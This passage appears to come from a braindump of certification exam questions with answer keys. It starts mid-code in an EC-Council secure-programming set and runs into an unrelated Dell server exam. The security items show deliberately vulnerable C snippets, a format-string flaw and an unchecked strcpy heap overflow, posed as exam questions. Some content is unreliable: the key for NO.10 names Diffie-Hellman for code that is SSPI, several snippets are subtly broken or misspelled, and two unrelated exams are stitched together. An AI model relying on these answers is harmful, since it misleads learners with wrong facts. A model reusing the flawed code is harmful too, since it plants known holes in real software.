return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}
A. Scan the perimeter firewall for DoS vulnerabilities
B. Create socket connections to the remote sites to check their security
C. Close off any ports used by malicious code
D. Scan for open ports
Answer: D

EC-COUNCIL   312-92   312-92   312-92   312-92 questions

NO.7 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

EC-COUNCIL   312-92   312-92   312-92   312-92

NO.8 Processes having the CAP_NET_BIND_SERVICE
can listen on which ports?
A. Any TCP port over 1024
B. Any UDP port under 1024
C. Any TCP port under 1024
D. Any UDP port over 1024
Answer: C

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NO.9 Fred is planning on using the windows socket application ClientApp.exe program to create a client-side
application that his employees will use. This program will access backend programs from two different
remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default
settings, what port must he have the network engineer open in order for the application to communicate?
A. 21
B. 23
C. 25
D. 80
Answer: D

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NO.10 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

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NO.11 After learning from an external auditor that his code was susceptible to attack, George decided to
rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
if ((s = getUsernameByID( userid )) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write( <br>Applicant:<u>
+ s +
</u> );
}
...
}
A. Query string manipulation
B. XSS attack
C. Cookie poisoning
D. SQL injection
Answer: B

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NO.12 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

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NO.13 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

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NO.14 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

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NO.15 Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The
developers in Kenny s company have just finished creating a 3D first person shooter game that will be
released to the market within the next couple of months. Kenny is trying to decide what type of license or
activation code structure they should use for the game to prevent piracy and protect their product. Kenny
decides to go with an approach that will allow each sold copy to be activated online up to five times
because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?
A. Loose license enforced
reasonable use
B. License terms enforced
fair use
C. Strict license terms enforced
D. Monitor only mode
Answer: A

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Exam Code: DC0-200
Exam Name: Dell (Certified Server Professional Exam)
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Total Q&A: 120 Questions and Answers
Last Update: 2014-01-31

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NO.1 Which statement is true about using the Save feature of BASP?
A. It is only available in Windows 2000.
B. It saves a configuration as an executable file.
C. It lets you transfer teaming configurations to other servers.
D. It is used to install and configure the Broadcom Ethernet Controller driver.
Answer: C

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NO.2 You need to install Intel NIC teaming for Windows 2000 and you do not have access to the Internet.
From what two sources can you obtain the PROSet software? (Choose two.)
A. Intel Network Drivers CD
B. Dell Server Assistant (DSA)
C. Dell Network Applications CD
D. Windows 2000 Installation CD
Answer: AB

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NO.3 Which two features are found on both 24U and 42U Dell racks? (Choose two.)
A. split rear door for cable access
B. diagnostic LCD panel on the front door
C. integrated redundant 1000 watt power supplies
D. 0U space that can be used for components other than servers and storage
Answer: AD

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NO.4 What is the intended mounting location for a 0U rack mount device in a Dell rack?
A. at the top of the rack
B. on the back doors of the rack
C. in any of the 42U spaces available
D. in the mounting holes in the side walls of the rack
Answer: D

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NO.5 Which two components can be installed in the 0U space found in Dell racks? (Choose two .)
A. Dell UPS
B. Dell PDU
C. Dell flat panel monitor
D. Dell Dual-Power Grid Switch
Answer: BD

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NO.6 What happens when you specify a Preferred Primary Adapter in Windows 2000 for an AFT NIC team?
A. You specify which adaptor will take the entire load. The other NICs will be used only when the
Preferred Primary fails.
B. You specify the desired card for all outgoing traffic for the team. The other members will still accept
incoming packets.
C. You specify the desired card for all incoming traffic for the team. The other members will still transmit
outgoing packets.
D. You specify which adaptor will take the load until it is saturated, then the other members will start
accepting packets until the Preferred Primary is just below the saturation point.
Answer: A

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NO.7 What is the correct NIC teaming for the Intel Proprietary Method to accomplish fault tolerance?
A. AFT
B. ALB
C. ATF
D. SLB
Answer: A

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NO.8 What is the default path and name of the logging file if the Message Logging option is selected when
running diagnostics?
A. A: RESULT.txt
B. C: RESULTS.txt
C. C: DELLTEST.txt
D. A: DELLTESTS.txt
Answer: A

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NO.9 You select the RAID Configuration Utility from the Utility Partition menu. This takes you to the _____.
A. system setup
B. PERC BIOS
C. CERC BIOS
D. Array Manager
Answer: B

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NO.10 Which four steps are necessary for creating a team in Windows 2000 using BASP? (Choose four.)
A. set the media type for the adapters
B. create a team and assign it a name
C. select the adapters from the list to add to the team
D. select the Broadcom Advanced Server Program Driver
E. configure the IP address and subnet mask for the team F. enter the path and filename of the
configuration to be saved
Answer: BCDE

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NO.11 Which three statements are true about installing the Intel drivers and utilities that allow teaming in
Windows 2000? (Choose three .)
A. You must install the ProSet Utility.
B. You must install the Intel driver using floppy diskettes.
C. Loading Windows 2000 using the DSA CD-ROM loads the drivers and ProSet Utility.
D. If you install the adapters after you have installed the OS, you can get the drivers from the Intel
Network Drivers CD.
E. If you install the adapters after you have installed the OS, you can get the ProSet Utility from the Intel
ProSet Utility CD.
Answer: ACD

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NO.12 Which benefit does Link Aggregation provide, as used by Intel NICs in PowerEdge servers?
A. provides load-balanced fault tolerance to the network
B. assures that if one adapter fails, the server remains available to the network
C. combines multiple adapters into one channel, providing greater bandwidth for network traffic
D. allows multiple adapters to share the network load, preventing one adapter from being overloaded
Answer: C

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NO.13 You want to install Windows 2000 Server and Dell-validated drivers for your factory-installed devices
using the Dell Server Assistant CD. From which location should you launch the Dell Server Assistant?
A. boot to the Dell Server Assistant CD after installing Windows 2000
B. autorun the CD from the Windows desktop after installing Windows 2000
C. boot to the Dell Server Assistant CD and have your Windows CD available
D. use the Dell Server Assistant to create a Utility Partition and launch the installation from the Utility
Partition
Answer: C

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NO.14 Which tool can be used to create a Utility Partition?
A. DOS fdisk Utility
B. Dell Server Assistant CD
C. Dell OpenManage Array Manager
D. Dell OpenManage IT Assistant CD
Answer: B

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NO.15 You are about to begin the installation of Windows 2000 Server on your PowerEdge server . As you
inspect the System Setup Utility, you notice that the Asset Tag field is blank. What are two ways you can
add the correct asset tag into the BIOS? (Choose two.)
A. Flashing the ESM to the latest revision automatically updates the Asset Tag field.
B. Flashing the BIOS to the latest revision automatically updates the Asset Tag field.
C. You create the Asset Tag Utility Diskette from the DSA CD and use it to update the Asset Tag field.
D. You download the Asset Tag Utility from premiersupport.dell.com and use it to update the Asset Tag
Field.
E. After installing Windows 2000, you use the Asset Manager application from the Dell group in control
panel to update the Asset Tag field.
Answer: CD

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NO.16 You have just installed W2K on your server and you cannot get the server to see your local network.
What can you do to diagnose network connectivity? (Choose three.)
A. verify that the server is configured to use DNS
B. verify that the cable plugged into your server is not a cross-over cable
C. verify that the subnet address is the same as the rest of the working devices on your LAN
D. verify that if attached to a switch and using VLANs, your port is in the proper configuration
Answer: BCD

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NO.17 How many PowerEdge 1650 servers can be installed in a Dell 42U rack that already has two
PowerEdge 2650 servers, a PowerEdge 6650 server, and a 1U keyboard and monitor drawer?
A. 31
B. 32
C. 33
D. 34
Answer: C

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NO.18 Which three hard drive partitions must be defined during the automated Linux installation process?
(Choose three.)
A. root
B. logs
C. boot
D. data
E. swap
Answer: ACE

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NO.19 Which two operations can be performed with the DSA CD? (Choose two.)
A. run system diagnostics on your server
B. create Windows 2000 driver/utilities diskette(s)
C. create NetWare 5.1/6.0 driver/utilities diskette(s)
D. change the Dell Service Tag via the Service Tag Utility
Answer: BC

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NO.20 You are configuring network teaming on a PowerEdge server. The server has Windows 2000 installed
and you do not know what network adapters are in the system. Without physically opening the chassis,
what are two ways to see which network adapters are installed using the operating system? (Choose
two.)
A. type ifconfig -a at a command prompt; on the description line, the manufacturer and device type will be
named
B. type ipconfig /all at the command prompt; on the description line, the manufacturer and device type will
be named
C. right-click My Computer, select Manage, left-click Device Manager, expand Network Adapters, and
view installed adapters
D. right-click Network Neighborhood, select Properties, double-click Internet Protocol (TCP/IP), and view
protocol-bound adapters
Answer: BC

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